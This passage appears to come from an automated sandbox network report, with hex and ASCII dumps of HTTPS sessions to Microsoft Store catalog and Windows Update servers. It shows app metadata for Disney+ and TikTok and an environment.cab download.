78 43 72 6f 73 73 47 65 6e 53 65 74 49 64 22 3a 6e 75 6c 6c 2c 22 58 62 6f 78 43 6f 6e 73 6f 6c 65 47 65 6e 4f 70 74 69 
6d 69 7a 65 64 22 3a 6e 75 6c 6c 2c 22 58 62 6f 78 43 6f 6e 73 6f 6c 65 47 65 6e 43 6f 6d 70 61 74 69 62 6c 65 22 3a 6e 
75 6c 6c 7d 2c 22 41 6c 74 65 72 6e 61 74 65 49 64 73 22 3a 5b 7b 
Data Ascii: isney.37853FC22B2CE_6rarf9sa4v8jt","PackageIdentityName":"Disney.37853FC22B2CE","PublisherCertific
ateName":"CN=58DECE39-D5D0-4293-AAA0-9AF8484F12E2","XboxCrossGenSetId":null,"XboxConsoleGenOptimized
":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{
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2022-05-26 11:46:42 UTC 1902 IN Data Raw: 53 4e 22 2c 22 4d 50 22 2c 22 50 4e 22 2c 22 53 58 22 2c 22 53 42 22 2c 22 53 4f 22 2c 22 53 43 22 2c 22 53 
4c 22 2c 22 47 53 22 2c 22 53 48 22 2c 22 4b 4e 22 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 22 54 4a 22 2c 22 
54 5a 22 2c 22 54 47 22 2c 22 54 4b 22 2c 22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 
22 55 47 22 2c 22 56 49 22 2c 22 56 47 22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 
2c 22 56 55 22 2c 22 53 52 22 2c 22 53 5a 22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 22 56 41 
22 2c 22 4e 45 55 54 52 41 4c 22 5d 7d 5d 2c 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 58 51 58 58 4c 46 53 54 38 
39 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 46 75 6c 66 69 6c 
Data Ascii: SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM"
,"TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"
ProductId":"9NXQXXLFST89","Properties":{"Fulfil

2022-05-26 11:46:42 UTC 1906 IN Data Raw: 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 
73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 
49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 38 36 22 5d 2c 22 43 61 
70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 74 65 4e 
65 74 77 6f 72 6b 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 68 65 76 63 50 6c 61 79 62 61 63 6b 22 5d 2c 22 45 78 7
0 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 
3a 31 33 31 36 32 37 31 36 38 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 
Data Ascii: 0010","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Architectures":["x8
6"],"Capabilities":["internetClient","privateNetworkClientServer","hevcPlayback"],"ExperienceIds":[],"MaxDownloadSizeInB
ytes":131627168,"MaxInstall

2022-05-26 11:46:42 UTC 1910 IN Data Raw: 6d 36 34 5f 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 31 39 61 
62 31 33 64 34 2d 34 64 66 63 2d 36 33 36 64 2d 32 66 30 35 2d 66 32 30 62 31 39 62 31 36 38 61 32 2d 41 72 6d 36 34 
22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 30 31 35 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 
63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 4d 
69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 
6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 
58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 
Data Ascii: m64__6rarf9sa4v8jt","PackageId":"19ab13d4-4dfc-636d-2f05-f20b19b168a2-Arm64","PackageRank":30015,"
PlatformDependencies":[{"MaxTested":2814751014977536,"MinVersion":2814751014977536,"PlatformName":"W
indows.Xbox"}],"PlatformDependencyXmlBlob":"{\"blob.versi

2022-05-26 11:46:42 UTC 1914 IN Data Raw: 31 2e 32 39 2e 32 2e 30 5f 78 36 34 5f 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 5c 22 2c 5c 22 63 6f 6e 74 
65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 34 65 37 32 33 32 33 32 2d 37 62 36 30 2d 34 66 37 32 2d 39 39 
32 35 2d 39 30 32 66 37 35 36 61 38 33 62 32 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 
6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 3
2 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 
3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 
7d 2c 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 
Data Ascii: 1.29.2.0_x64__6rarf9sa4v8jt\",\"content.productId\":\"4e723232-7b60-4f72-9925-902f756a83b2\",\"con
tent.targetPlatforms\":[{\"platform.maxVersionTested\":2814751014977536,\"platform.minVersion\":28147510149775
36,\"platform.target\":5},{\"platform.maxVersio

2022-05-26 11:46:42 UTC 1918 IN Data Raw: 79 42 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 62 69 6c 69 74 79 55 6e 69 66 69 65 64 41 70 70 3b 33 
22 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 49 64 22 3a 22 39 5a 30 32 51 4b 51 44 4c 31 4c 37 22 2c 22 43 6f 6e 64 
69 74 69 6f 6e 73 22 3a 7b 22 43 6c 69 65 6e 74 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 41 6c 6c 6f 77 65 64 50 6c 61 
74 66 6f 72 6d 73 22 3a 5b 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 6
5 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 7
0 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 
22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 
Data Ascii: yBSchema":"AvailabilityUnifiedApp;3","AvailabilityId":"9Z02QKQDL1L7","Conditions":{"ClientConditions":{"Allo
wedPlatforms":[{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Desktop"},{"MaxVersion":2147483
647,"MinVersion":0,"PlatformName":"Wi

2022-05-26 11:46:42 UTC 1922 IN Data Raw: 74 72 6f 6c 20 66 65 61 74 75 72 65 73 20 69 6e 63 6c 75 64 69 6e 67 20 50 72 6f 66 69 6c 65 20 50 49 4e 2c 
20 4b 69 64 73 20 50 72 6f 66 69 6c 65 73 2c 20 4b 69 64 2d 50 72 6f 6f 66 20 45 78 69 74 2e 20 41 63 63 6f 75 6e 74 20 
68 6f 6c 64 65 72 73 20 63 61 6e 20 63 68 61 6e 67 65 20 61 6e 20 69 6e 64 69 76 69 64 75 61 6c 20 70 72 6f 66 69 6c 
65 e2 80 99 73 20 63 6f 6e 74 65 6e 74 20 72 61 74 69 6e 67 20 61 74 20 61 6e 79 20 74 69 6d 65 20 75 6e 64 65 72 20 
50 72 6f 66 69 6c 65 20 73 65 74 74 69 6e 67 73 2e 20 5c 72 5c 6e 5c 72 5c 6e 46 6f 72 20 68 65 6c 70 20 77 69 74 68 20 
44 69 73 6e 65 79 2b 2c 20 70 6c 65 61 73 65 20 76 69 73 69 74 3a 20 68 74 74 70 3a 2f 2f 68 65 6c 70 2e 64 69 73 6e 6
5 79 70 6c 75 73 2e 63 6f 6d 2e 5c 72 5c 6e 46 6f 72 20 6f 75 72 
Data Ascii: trol features including Profile PIN, Kids Profiles, Kid-Proof Exit. Account holders can change an individual 
profiles content rating at any time under Profile settings. \r\n\r\nFor help with Disney+, please visit: http://help.disneyplus.c
om.\r\nFor our

2022-05-26 11:46:42 UTC 1926 IN Data Raw: 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 
7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 
7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 61 72 6d 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 
73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 74 65 4e 65 74 77 6f 72 6b 43 6c 69 6
5 6e 74 53 65 72 76 65 72 22 2c 22 68 65 76 63 50 6c 61 79 62 61 63 6b 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 
64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 32 39 38 31 36 33 
36 35 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 
Data Ascii: tent":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Architectures":["arm"],"Capabilities":
["internetClient","privateNetworkClientServer","hevcPlayback"],"ExperienceIds":[],"MaxDownloadSizeInBytes":1298
16365,"MaxInstallSizeInByte

2022-05-26 11:46:42 UTC 1930 IN Data Raw: 65 64 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 
38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 
2e 44 65 73 6b 74 6f 70 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 
22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 
6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 6
4 5c 22 3a 5c 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 31 2e 32 39 2e 32 2e 30 5f 78 38 36 5f 
5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 5c 22 2c 5c 22 63 6f 6e 
Data Ascii: ed":2814751014977536,"MinVersion":2814751014977536,"PlatformName":"Windows.Desktop"}],"PlatformDep
endencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.isMain\":false,\"content.packageId\":\"Disney.37
853FC22B2CE_1.29.2.0_x86__6rarf9sa4v8jt\",\"con
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2022-05-26 11:46:42 UTC 1934 IN Data Raw: 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 2c 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 
78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 
74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 
6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 33 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2
c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 
5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 22 2c 5c 
22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 
Data Ascii: "platform.target\":5},{\"platform.maxVersionTested\":2814751014977536,\"platform.minVersion\":2814
751014977536,\"platform.target\":3}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"Ent
ertainment\",\"optOut.backupRestore\"

2022-05-26 11:46:42 UTC 1938 IN Data Raw: 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 39 2c 5c 22 73 79 73 74 65 6d 49 
64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 
5c 22 6c 65 76 65 6c 5c 22 3a 37 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 
22 3a 36 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6
f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 
74 49 64 22 3a 22 39 4e 58 51 58 58 4c 46 53 54 38 39 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 39 33 62 65 36 
37 66 36 2d 39 35 33 61 2d 34 39 61 38 2d 62 66 63 39 2d 37 33 38 39 
Data Ascii: stemId\":12},{\"level\":29,\"systemId\":9},{\"level\":78,\"systemId\":16},{\"level\":72,\"systemId\":15},{\"level\":67
,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NXQXXLFST89","WuBundleId":"9
3be67f6-953a-49a8-bfc9-7389

2022-05-26 11:46:42 UTC 1940 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0
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96 192.168.2.4 49863 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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kBytes
transferred

Direction Data

2022-05-26 11:46:43 UTC 1940 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:43 UTC 1941 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: adfc8e73-66b0-4337-83a4-f9bdb294dffc
MS-RequestId: 0ab652fd-f425-4a85-8b26-71c95833c7d3
MS-CV: Gh79raCff0+rFESq.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:42 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:43 UTC 1941 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:43 UTC 1957 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:43 UTC 1973 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

97 192.168.2.4 49864 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:43 UTC 1976 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:44 UTC 1976 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 77fdb9a0-118c-4281-8dd6-613975f45d10
MS-RequestId: 7c3e1c10-58e1-485e-bd2c-3a0a24063e2d
MS-CV: sfDPgSfD7064qRcX.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:43 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:44 UTC 1977 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:44 UTC 1992 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:44 UTC 2008 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Session ID Source IP Source Port Destination IP
Destination
Port

Process

98 192.168.2.4 49865 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:44 UTC 2012 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=BytedancePte.Ltd.TikTok_6yccndn6064se&
market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=
Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: 4MWygkNr/0qcHyiJ.0.2.4
Host: displaycatalog.mp.microsoft.com
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2022-05-26 11:46:44 UTC 2012 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 26 May 2022 11:46:43 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 4802bc37-5322-45c6-9d96-650eba6813aa
MS-RequestId: b5a90cae-53fb-4aa9-bdb3-af9e876d4e99
MS-CV: 4MWygkNr/0qcHyiJ.0.2.4.1057843269.4237398758.1.1057843269.503208289.0
X-Content-Type-Options: nosniff
MS-ServerId: b9576-v7k6d
Region: neu
Node: aks-bigcatrpns-32351330-vmss00000l
MS-DocumentVersions: 9NH2GPH4JZS4|670

2022-05-26 11:46:44 UTC 2013 IN Data Raw: 61 66 30 37 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 48 32 47 50 48 34 4a 5a 53 34 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 33 2d 30 38 54 32 30 3a 31 31 3a 35 31 2e 33 38 33 38 35 37 
30 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 35 30 33 39 34 32 36 39 36 31 
31 33 32 33 30 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
